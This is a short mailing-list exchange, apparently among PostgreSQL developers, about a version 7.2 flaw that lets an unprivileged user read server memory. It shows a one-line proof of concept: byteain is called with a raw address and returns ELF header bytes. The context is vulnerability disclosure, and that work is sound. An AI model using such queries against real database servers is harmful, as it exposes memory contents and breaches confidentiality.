Bruce Momjian <pgman@candle.pha.pa.us> writes:
>> Hmm? On 7.2, an unpriviliged database user can read the more or less
>> the whole memory image of the server process. On 7.3, this has been
>> fixed.
>
> Huh. Never heard that before.
It's the cash_out(2) crash, but with some other conversion function:
rusfw=> SELECT byteain(134512640); byteain
---------------------\177ELF\001\001\001
(1 row)
rusfw=>
(Of course, the address varies from machine to machine.)
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